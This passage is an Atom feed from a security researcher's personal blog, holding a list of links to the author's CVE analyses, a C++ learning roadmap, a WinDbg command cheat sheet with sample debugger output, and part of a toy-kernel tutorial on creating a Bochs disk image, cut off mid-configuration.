<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Thunder_J</title>
  
  <subtitle>Just for fun</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://thunderjie.github.io/"/>
  <updated>2021-02-08T09:49:21.874Z</updated>
  <id>https://thunderjie.github.io/</id>
  
  <author>
    <name>Thunder_J</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>My Articles</title>
    <link href="https://thunderjie.github.io/2099/01/01/My-Articles/"/>
    <id>https://thunderjie.github.io/2099/01/01/My-Articles/</id>
    <published>2099-01-01T04:00:00.000Z</published>
    <updated>2021-02-08T09:49:21.874Z</updated>
    
    <content type="html"><![CDATA[<p>最近重新弄好了自己的博客，不定时更新一些比较有意思的内容</p><p>下面收集了一些其他平台我发布的文章</p><p><a href="https://xz.aliyun.com/t/6668" target="_blank" rel="noopener">CVE-2017-11882 Office栈溢出漏洞分析</a></p><p><a href="https://xz.aliyun.com/t/6115" target="_blank" rel="noopener">CVE-2015-2546 内核Use After Free漏洞分析</a></p><p><a href="https://www.anquanke.com/post/id/192604" target="_blank" rel="noopener">CVE-2015-0057：从Windows内核UAF到内核桌面堆分配</a></p><p><a href="https://xz.aliyun.com/t/8594" target="_blank" rel="noopener">类型混淆漏洞模式浅析</a></p><p><a href="https://xz.aliyun.com/t/8996" target="_blank" rel="noopener">NTFS CVE-2020-17096 分析复现</a></p><p><a href="https://xz.aliyun.com/t/9029" target="_blank" rel="noopener">SMB协议漏洞分析</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;最近重新弄好了自己的博客，不定时更新一些比较有意思的内容&lt;/p&gt;
&lt;p&gt;下面收集了一些其他平台我发布的文章&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/6668&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CVE-20
      
    
    </summary>
    
    
      <category term="My Articles" scheme="https://thunderjie.github.io/tags/My-Articles/"/>
    
  </entry>
  
  <entry>
    <title>C++学习路线</title>
    <link href="https://thunderjie.github.io/2021/02/08/C-%E5%AD%A6%E4%B9%A0%E8%B7%AF%E7%BA%BF/"/>
    <id>https://thunderjie.github.io/2021/02/08/C-学习路线/</id>
    <published>2021-02-08T09:58:10.000Z</published>
    <updated>2021-02-08T10:50:53.024Z</updated>
    
    <content type="html"><![CDATA[<h2 id="0x00：前言"><a href="#0x00：前言" class="headerlink" title="0x00：前言"></a>0x00：前言</h2><p>转眼间2020就到了末尾，马上就要过年了，祝各位新年快乐。没想到在2020年末尾我能得到微软给我的第一笔2000刀的赏金，明年继续加油，也祝各位0day多多。</p><p>我不太清楚有没有人看我的博客，博客也很久没更新了，大多是记载之前的一些文章，现在看起哪些文章我都觉得写的太烂了，如果你能认真看完，那确实太棒了，你的理解学习能力很好。从我接触安全到2021年大概是2年前，我记得我第一次注册看雪论坛是<code>2018-09-13</code>，当时就想着学最难的技术，能接触到的就是二进制pwn和逆向了吧，无奈很多东西都看不太懂，就只有慢慢补基础，有些时候觉得自己开发能力弱，又不知道该写点什么，导致了我并没有搞清楚自己的学习路线到底应该是啥，所以下面我准备搜集一点关于开发的学习资料，大多数针对C++，感兴趣的同学可以借鉴借鉴。</p><h2 id="0x01：资源"><a href="#0x01：资源" class="headerlink" title="0x01：资源"></a>0x01：资源</h2><p>因为资源的链接不稳定，很容易就没了，所以我还是就放个名字，感兴趣的朋友自己去搜吧，首先是我推荐的视频教程</p><ul><li><p>侯捷老师的C++系列课程</p><p>前段时间b站貌似搜得到，现在好像没了，想看的小伙伴可以去YouTube</p></li><li><p>滴水逆向三期课程</p><p>入门友好，很多东西讲的非常透彻，海东老师的功底也非常深厚，需要花时间慢慢消化</p></li></ul><p>看完了上面的东西可以自己买点书来看，侯捷老师翻译的一些书、《C++ Primer》、《Windows核心编程》之类的都很好。</p><h2 id="0x02：项目"><a href="#0x02：项目" class="headerlink" title="0x02：项目"></a>0x02：项目</h2><p>看完了上面的资料，可以写一些项目，如果没时间实现完，至少要知道核心代码的原理，下面是我搜集的一些项目和链接，如果你现在才大二或者更小，那么恭喜你，你还有很多时间写下面的项目，你如果能在大学阶段写完下面的东西，按照开发岗的条件要求自己，那么以后做二进制相关工作是非常非常非常有优势的，至少我所认识的大牛，基本上都是开发出身，或者有很强的编程功底，具体能不能学到东西，你试试就知道了。</p><ul><li>STL<ul><li><a href="https://github.com/Alinshans/MyTinySTL" target="_blank" rel="noopener">https://github.com/Alinshans/MyTinySTL</a></li></ul></li><li>内核<ul><li><a href="https://github.com/ThunderJie/kernel" target="_blank" rel="noopener">https://github.com/ThunderJie/kernel</a></li></ul></li><li>磁盘查看器<ul><li><a href="https://bbs.pediy.com/thread-204845.htm" target="_blank" rel="noopener">https://bbs.pediy.com/thread-204845.htm</a></li></ul></li><li>文件清理工具<ul><li><a href="https://bbs.pediy.com/thread-204845.htm" target="_blank" rel="noopener">https://bbs.pediy.com/thread-204845.htm</a></li></ul></li><li>PE解析工具<ul><li><a href="https://bbs.pediy.com/thread-206060.htm" target="_blank" rel="noopener">https://bbs.pediy.com/thread-206060.htm</a></li></ul></li><li>任务管理器 <ul><li><a href="https://bbs.pediy.com/thread-205382.htm" target="_blank" rel="noopener">https://bbs.pediy.com/thread-205382.htm</a></li></ul></li><li>杀毒软件<ul><li><a href="https://bbs.pediy.com/thread-205765.htm" target="_blank" rel="noopener">https://bbs.pediy.com/thread-205765.htm</a></li></ul></li><li>调试器<ul><li><a href="https://www.zhihu.com/question/52553014" target="_blank" rel="noopener">https://www.zhihu.com/question/52553014</a></li></ul></li><li>服务器框架<ul><li><a href="https://www.bilibili.com/video/av53602631?from=search&amp;seid=9029288577396826503" target="_blank" rel="noopener">https://www.bilibili.com/video/av53602631?from=search&amp;seid=9029288577396826503</a></li></ul></li></ul><p>还有一些项目我没写进去，可以参考下面这个知乎问题</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://www.zhihu.com/question/29112393/answer/1692382930?utm_source=qq&amp;utm_medium=social&amp;utm_oi=980106412042633216</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;0x00：前言&quot;&gt;&lt;a href=&quot;#0x00：前言&quot; class=&quot;headerlink&quot; title=&quot;0x00：前言&quot;&gt;&lt;/a&gt;0x00：前言&lt;/h2&gt;&lt;p&gt;转眼间2020就到了末尾，马上就要过年了，祝各位新年快乐。没想到在2020年末尾我能得到微软给我的第
      
    
    </summary>
    
      <category term="Programming" scheme="https://thunderjie.github.io/categories/Programming/"/>
    
    
      <category term="学习路线" scheme="https://thunderjie.github.io/tags/%E5%AD%A6%E4%B9%A0%E8%B7%AF%E7%BA%BF/"/>
    
  </entry>
  
  <entry>
    <title>WinDbg Tricks</title>
    <link href="https://thunderjie.github.io/2020/11/10/WinDbg-Tricks/"/>
    <id>https://thunderjie.github.io/2020/11/10/WinDbg-Tricks/</id>
    <published>2020-11-10T09:32:48.000Z</published>
    <updated>2021-02-08T09:56:05.806Z</updated>
    
    <content type="html"><![CDATA[<p>本文搜集了一些windbg常用的命令，方便自己查阅，老版本windbg现在已经集成在visual studio里面，新版本的直接在Microsoft Store里面可以搜到，不过新的windbg preview版本不是很稳定，不过UI挺友好的。下面的内容不定期补充，首先放一个官方对windbg命令介绍的地址</p><blockquote><p><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/commands" target="_blank" rel="noopener">https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/commands</a></p></blockquote><h2 id="符号"><a href="#符号" class="headerlink" title="符号"></a>符号</h2><p>windbg里面下载微软符号都需要梯子，我是这样设置的<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">SRV*C:\MyLocalSymbols*http://msdl.microsoft.com/download/symbols </span><br><span class="line">srv*C:\symbols_folder*http://msdl.microsoft.com/download/symbols</span><br><span class="line">SRV*c:\mysymbol* http://msdl.microsoft.com/download/symbols</span><br></pre></td></tr></table></figure></p><p>如果符号没加载出来可以<code>!sym noisy</code>激活详细符号加载显示，然后再<code>.reload</code>重新加载看什么问题</p><h2 id="断点"><a href="#断点" class="headerlink" title="断点"></a>断点</h2><p>下面记录一些常用断点命令</p><p>1.硬件断点，最多下四个断点</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ba e1 address</span><br></pre></td></tr></table></figure><p>2.软件断点</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bp address</span><br></pre></td></tr></table></figure><p>3.条件断点</p><p>对寄存器进行监控，eax 等于0x41的时候断下<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ba e1 address &quot;.if @eax = 0x41  &#123;&#125; .else &#123;gc&#125;&quot;</span><br></pre></td></tr></table></figure></p><p>打印一些数据，当在address断下的时候可以打印函数名和rax寄存器里面的内容<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bp address &quot;.echo function name; dq rax; gc&quot;</span><br></pre></td></tr></table></figure></p><p>如果需要指定当前线程中对函数下断点，可以用下面的例子指定当前线程<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ba e1 /t $thread xxx</span><br></pre></td></tr></table></figure></p><h2 id="修改数据"><a href="#修改数据" class="headerlink" title="修改数据"></a>修改数据</h2><p>1.修改寄存器命令，将eax置为1，如果要修改浮点寄存器，需要按格式修改，如下所示</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">r @eax=1</span><br><span class="line">r xmm0 = 1 1 1 1</span><br></pre></td></tr></table></figure><p>2.修改内存命令，将内存为80505648的数据改为00001234</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ed 80505648 00001234</span><br></pre></td></tr></table></figure><h2 id="进程操作"><a href="#进程操作" class="headerlink" title="进程操作"></a>进程操作</h2><h3 id="内核态"><a href="#内核态" class="headerlink" title="内核态"></a>内核态</h3><p>1.<code>!process 0 0</code>显示进程列表</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; !process 0 0</span><br><span class="line">**** NT ACTIVE PROCESS DUMP ****</span><br><span class="line">PROCESS ffff86851c08a300</span><br><span class="line">    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000</span><br><span class="line">    DirBase: 001ad002  ObjectTable: ffffc78ec3004b80  HandleCount: 2457.</span><br><span class="line">    Image: System</span><br><span class="line"></span><br><span class="line">PROCESS ffff86851c12e080</span><br><span class="line">    SessionId: none  Cid: 00a0    Peb: 00000000  ParentCid: 0004</span><br><span class="line">    DirBase: 02d72002  ObjectTable: ffffc78ec3007380  HandleCount:   0.</span><br><span class="line">    Image: Registry</span><br></pre></td></tr></table></figure><p>后面加xxx.exe可以指定进程<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; !process 0 0 smss.exe</span><br><span class="line">PROCESS ffff868520d36400</span><br><span class="line">    SessionId: none  Cid: 01a4    Peb: 2238d4d000  ParentCid: 0004</span><br><span class="line">    DirBase: 12a451002  ObjectTable: ffffc78ec3507480  HandleCount:  53.</span><br><span class="line">    Image: smss.exe</span><br></pre></td></tr></table></figure></p><p>也可以根据PID直接搜索<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; !process 470 0</span><br><span class="line">Searching for Process with Cid == 470</span><br><span class="line">PROCESS ffff868523618340</span><br><span class="line">    SessionId: 0  Cid: 0470    Peb: d294a3d000  ParentCid: 02bc</span><br><span class="line">    DirBase: 1b824002  ObjectTable: ffffc78ec70f7b40  HandleCount: 657.</span><br><span class="line">    Image: svchost.exe</span><br></pre></td></tr></table></figure></p><p>2.如果windbg正在调试内核，可以直接修改当前process调试ring3的进程，<code>.process</code>命令指定要用作进程上下文的进程，直接使用<code>.process</code>可显示当前进程的<code>EPROCESS</code>，下面展示了一次切换进程上下文的例子，将<code>0xffff86851c08a300</code>切换为了<code>ffff868520f77080</code>，这样就可以直接调ring3的进程，不过需要重新<code>g</code>跑一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; .process</span><br><span class="line">Implicit process is now ffff8685`1c08a300</span><br><span class="line">1: kd&gt; .process /i /p ffff8685`20f77080</span><br><span class="line">You need to continue execution (press &apos;g&apos; &lt;enter&gt;) for the context</span><br><span class="line">to be switched. When the debugger breaks in again, you will be in</span><br><span class="line">the new process context.</span><br><span class="line">1: kd&gt; g</span><br><span class="line">Break instruction exception - code 80000003 (first chance)</span><br><span class="line">nt!DbgBreakPointWithStatus:</span><br><span class="line">fffff805`0c27cb30 cc              int     3</span><br><span class="line">0: kd&gt; .process</span><br><span class="line">Implicit process is now ffff8685`20f77080</span><br><span class="line">...</span><br></pre></td></tr></table></figure><ol start="3"><li>可以通过<code>!dml_proc</code>命令直接查看所有进程，非常方便<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; !dml_proc</span><br><span class="line">Address           PID  Image file name</span><br><span class="line">ffff8685`1c08a300 4    System         </span><br><span class="line">ffff8685`1c12e080 a0   Registry       </span><br><span class="line">ffff8685`20d36400 1a4  smss.exe       </span><br><span class="line">...</span><br></pre></td></tr></table></figure></li></ol><h3 id="用户态"><a href="#用户态" class="headerlink" title="用户态"></a>用户态</h3><p>1.<code>~</code> 显示所有线程简略信息， <code>~*</code> 显示所有线程详细信息，最左边有小点的就是当前线程</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">0:008&gt; ~</span><br><span class="line">   0  Id: d50c.6dcc Suspend: 1 Teb: 00000084`30e52000 Unfrozen</span><br><span class="line">   ...</span><br><span class="line">.  8  Id: d50c.d60 Suspend: 1 Teb: 00000084`30e62000 Unfrozen</span><br><span class="line">0:008&gt; ~*</span><br><span class="line">   0  Id: d50c.6dcc Suspend: 1 Teb: 00000084`30e52000 Unfrozen</span><br><span class="line">      Start: mstsc!WinMainCRTStartup (00007ff7`1f2e37c0)</span><br><span class="line">      Priority: 0  Priority class: 32  Affinity: fff</span><br><span class="line">   ...</span><br><span class="line">.  8  Id: d50c.d60 Suspend: 1 Teb: 00000084`30e62000 Unfrozen</span><br><span class="line">      Start: ntdll!DbgUiRemoteBreakin (00007ffd`8c01c840)</span><br><span class="line">      Priority: 0  Priority class: 32  Affinity: fff</span><br></pre></td></tr></table></figure><p>显示当前线程</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0:008&gt; ~.</span><br><span class="line">.  8  Id: d50c.d60 Suspend: 1 Teb: 00000084`30e62000 Unfrozen</span><br><span class="line">      Start: ntdll!DbgUiRemoteBreakin (00007ffd`8c01c840)</span><br><span class="line">      Priority: 0  Priority class: 32  Affinity: fff</span><br></pre></td></tr></table></figure><h2 id="查看数据"><a href="#查看数据" class="headerlink" title="查看数据"></a>查看数据</h2><h3 id="查看句柄"><a href="#查看句柄" class="headerlink" title="查看句柄"></a>查看句柄</h3><p>可以通过<code>!handle</code>命令查看当前进程所有句柄，需要在内核调试器下才能看句柄信息<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; !handle</span><br><span class="line"></span><br><span class="line">PROCESS ffff868523618340</span><br><span class="line">    SessionId: 0  Cid: 0470    Peb: d294a3d000  ParentCid: 02bc</span><br><span class="line">    DirBase: 1b824002  ObjectTable: ffffc78ec70f7b40  HandleCount: 657.</span><br><span class="line">    Image: svchost.exe</span><br><span class="line"></span><br><span class="line">Handle table at ffffc78ec70f7b40 with 657 entries in use</span><br><span class="line"></span><br><span class="line">0004: Object: ffff868521fda960  GrantedAccess: 001f0003 (Protected) (Inherit) Entry: ffffc78ec72a1010</span><br><span class="line">Object: ffff868521fda960  Type: (ffff86851c0a87a0) Event</span><br><span class="line">    ObjectHeader: ffff868521fda930 (new version)</span><br><span class="line">        HandleCount: 1  PointerCount: 32767</span><br><span class="line"></span><br><span class="line">0008: Object: ffff868521fda3e0  GrantedAccess: 001f0003 (Protected) (Inherit) Entry: ffffc78ec72a1020</span><br><span class="line">Object: ffff868521fda3e0  Type: (ffff86851c0a87a0) Event</span><br><span class="line">    ObjectHeader: ffff868521fda3b0 (new version)</span><br><span class="line">        HandleCount: 1  PointerCount: 32718</span><br><span class="line">...</span><br></pre></td></tr></table></figure></p><p>加上<code>/f</code>选项即可查看句柄详细信息，此功能大多用在查看驱动设备名<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; !handle 0xa0 /f</span><br><span class="line"></span><br><span class="line">PROCESS ffff868523618340</span><br><span class="line">    SessionId: 0  Cid: 0470    Peb: d294a3d000  ParentCid: 02bc</span><br><span class="line">    DirBase: 1b824002  ObjectTable: ffffc78ec70f7b40  HandleCount: 657.</span><br><span class="line">    Image: svchost.exe</span><br><span class="line"></span><br><span class="line">Handle table at ffffc78ec70f7b40 with 657 entries in use</span><br><span class="line"></span><br><span class="line">00a0: Object: ffff868523605b80  GrantedAccess: 00000804 (Protected) (Audit) Entry: ffffc78ec72a1280</span><br><span class="line">Object: ffff868523605b80  Type: (ffff86851c1f56c0) EtwRegistration</span><br><span class="line">    ObjectHeader: ffff868523605b50 (new version)</span><br><span class="line">        HandleCount: 1  PointerCount: 1</span><br></pre></td></tr></table></figure></p><p>2.查看浮点寄存器，如果直接用 <code>r xmm0</code> 查看寄存器会是科学计数，用下面指令就很方便了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; .formats xmm0</span><br><span class="line">Evaluate expression:</span><br><span class="line">  Hex:     00000005`00000002</span><br><span class="line">  Decimal: 21474836482</span><br><span class="line">  Octal:   0000000000240000000002</span><br><span class="line">  Binary:  00000000 00000000 00000000 00000101 00000000 00000000 00000000 00000010</span><br><span class="line">  Chars:   ........</span><br><span class="line">  Time:    Mon Jan  1 08:35:47.483 1601 (UTC + 8:00)</span><br><span class="line">  Float:   low 2.8026e-045 high 7.00649e-045</span><br><span class="line">  Double:  1.061e-313</span><br></pre></td></tr></table></figure><h2 id="插件"><a href="#插件" class="headerlink" title="插件"></a>插件</h2><p><code>chain</code> 可以查看Windbg此时已经加载的插件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">0:000&gt; .chain</span><br><span class="line">Extension DLL search Path:</span><br><span class="line">    C:\Program Files\...</span><br><span class="line">Extension DLL chain:</span><br><span class="line">    dbghelp: image 10.0.20153.1000, API 10.0.6, </span><br><span class="line">        [path: C:\Program Files\WindowsApps\...]</span><br><span class="line">    ext: image 10.0.20153.1000, API 1.0.0, </span><br><span class="line">        [path: C:\Program Files\WindowsApps\...]</span><br><span class="line">    exts: image 10.0.20153.1000, API 1.0.0, </span><br><span class="line">        [path: C:\Program Files\WindowsApps\...]</span><br><span class="line">    uext: image 10.0.20153.1000, API 1.0.0, </span><br><span class="line">        [path: C:\Program Files\WindowsApps\...]</span><br><span class="line">    ntsdexts: image 10.0.20153.1000, API 1.0.0, </span><br><span class="line">        [path: C:\Program Files\WindowsApps\...]</span><br></pre></td></tr></table></figure><p><code>.load</code> 可以加载插件，需要指定全部路径，下面是例子</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">0:000&gt; .load E:\..\segmentheap.dll</span><br><span class="line">0:000&gt; .chain // 检查是否成功加载插件</span><br><span class="line">Extension DLL search Path:</span><br><span class="line">    C:\Program Files\WindowsApps\...</span><br><span class="line">Extension DLL chain:</span><br><span class="line">    E:\..\segmentheap.dll: API 1.0.6, built Tue Dec  8 11:11:55 2020</span><br><span class="line">        [path: E:\..\segmentheap.dll]</span><br><span class="line">    dbghelp: image 10.0.20153.1000, API 10.0.6, </span><br><span class="line">        [path: C:\Program Files\WindowsApps\..\dbghelp.dll]</span><br><span class="line">    ext: image 10.0.20153.1000, API 1.0.0, </span><br><span class="line">        [path: C:\Program Files\WindowsApps\..\ext.dll]</span><br><span class="line">    exts: image 10.0.20153.1000, API 1.0.0, </span><br><span class="line">        [path: C:\Program Files\WindowsApps\..\exts.dll]</span><br><span class="line">    uext: image 10.0.20153.1000, API 1.0.0, </span><br><span class="line">        [path: C:\Program Files\WindowsApps\..\uext.dll]</span><br><span class="line">    ntsdexts: image 10.0.20153.1000, API 1.0.0, </span><br><span class="line">        [path: C:\Program Files\WindowsApps\..\ntsdexts.dll]</span><br><span class="line">0:000&gt; !heapinfo 250befe0000 // 成功加载</span><br><span class="line">Try to find Bucket Manager................................................................................</span><br><span class="line">Search 0x20 pages, FIND BUCKET HEADER FAILURE...CHECK HEAP ADDRESS...</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;本文搜集了一些windbg常用的命令，方便自己查阅，老版本windbg现在已经集成在visual studio里面，新版本的直接在Microsoft Store里面可以搜到，不过新的windbg preview版本不是很稳定，不过UI挺友好的。下面的内容不定期补充，首先放一
      
    
    </summary>
    
      <category term="Reverse" scheme="https://thunderjie.github.io/categories/Reverse/"/>
    
      <category term="Tools" scheme="https://thunderjie.github.io/categories/Reverse/Tools/"/>
    
    
      <category term="Tools" scheme="https://thunderjie.github.io/tags/Tools/"/>
    
  </entry>
  
  <entry>
    <title>简单内核实现笔记-part-4</title>
    <link href="https://thunderjie.github.io/2020/06/11/%E7%AE%80%E5%8D%95%E5%86%85%E6%A0%B8%E5%AE%9E%E7%8E%B0%E7%AC%94%E8%AE%B0-part-4/"/>
    <id>https://thunderjie.github.io/2020/06/11/简单内核实现笔记-part-4/</id>
    <published>2020-06-11T00:57:52.000Z</published>
    <updated>2020-06-18T03:14:45.534Z</updated>
    
    <content type="html"><![CDATA[<h1 id="编写硬盘驱动程序"><a href="#编写硬盘驱动程序" class="headerlink" title="编写硬盘驱动程序"></a>编写硬盘驱动程序</h1><h2 id="创建新磁盘文件"><a href="#创建新磁盘文件" class="headerlink" title="创建新磁盘文件"></a>创建新磁盘文件</h2><p>下面我们需要逐步实现文件系统，在此之前我们需要实现一个硬盘驱动程序，我们之前一直操作的hd60M.img为主盘，里面存放的是我们的内核，我们需要创建一个从盘，用于存放后面的文件系统，具体操作如下，创建一个大小为80MB的hd80M.img磁盘</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">/home/guang/soft/bochs-2.6.2/bin &gt; ls // 进入bin目录</span><br><span class="line">bochs  bochs.out  bochsrc.disk  bxcommit  bximage  hd60M.img  kernel  mbr</span><br><span class="line">/home/guang/soft/bochs-2.6.2/bin &gt; sudo ./bximage // 创建磁盘</span><br><span class="line">========================================================================</span><br><span class="line">                                bximage</span><br><span class="line">                  Disk Image Creation Tool for Bochs</span><br><span class="line">          $Id: bximage.c 11315 2012-08-05 18:13:38Z vruppert $</span><br><span class="line">========================================================================</span><br><span class="line"></span><br><span class="line">Do you want to create a floppy disk image or a hard disk image?</span><br><span class="line">Please type hd or fd. [hd] // 回车</span><br><span class="line"></span><br><span class="line">What kind of image should I create?</span><br><span class="line">Please type flat, sparse or growing. [flat] // 回车</span><br><span class="line"></span><br><span class="line">Enter the hard disk size in megabytes, between 1 and 8257535</span><br><span class="line">[10] 80 // 大小选80</span><br><span class="line"></span><br><span class="line">I will create a 'flat' hard disk image with</span><br><span class="line">  cyl=162</span><br><span class="line">  heads=16</span><br><span class="line">  sectors per track=63</span><br><span class="line">  total sectors=163296</span><br><span class="line">  total size=79.73 megabytes</span><br><span class="line"></span><br><span class="line">What should I name the image?</span><br><span class="line">[c.img] hd80M.img // 名称</span><br><span class="line"></span><br><span class="line">Writing: [] Done.</span><br><span class="line"></span><br><span class="line">I wrote 83607552 bytes to hd80M.img.</span><br><span class="line"></span><br><span class="line">The following line should appear in your bochsrc:</span><br><span class="line">  ata0-master: type=disk, path="hd80M.img", mode=flat, cylinders=162, heads=16, spt=63</span><br></pre></td></tr></table></figure><p>运行bochs观察0x475处物理地址是否显示硬盘数1，表示之前创建的内核镜像hd60M.img</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;bochs:2&gt; c</span><br><span class="line">^CNext at t=83451366</span><br><span class="line">(0) [0x000000001dcd] 0008:c0001dcd (unk. ctxt): mov ebp, esp              ; 89e5</span><br><span class="line">&lt;bochs:3&gt; xp/b 0x475         </span><br><span class="line">[bochs]:</span><br><span class="line">0x00000475 &lt;bogus+       0&gt;:0x01</span><br><span class="line">&lt;bochs:4&gt;</span><br></pre></td></tr></table></figure><p>然后我们需要修改bochsrc.disk文件，将参数写入配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span 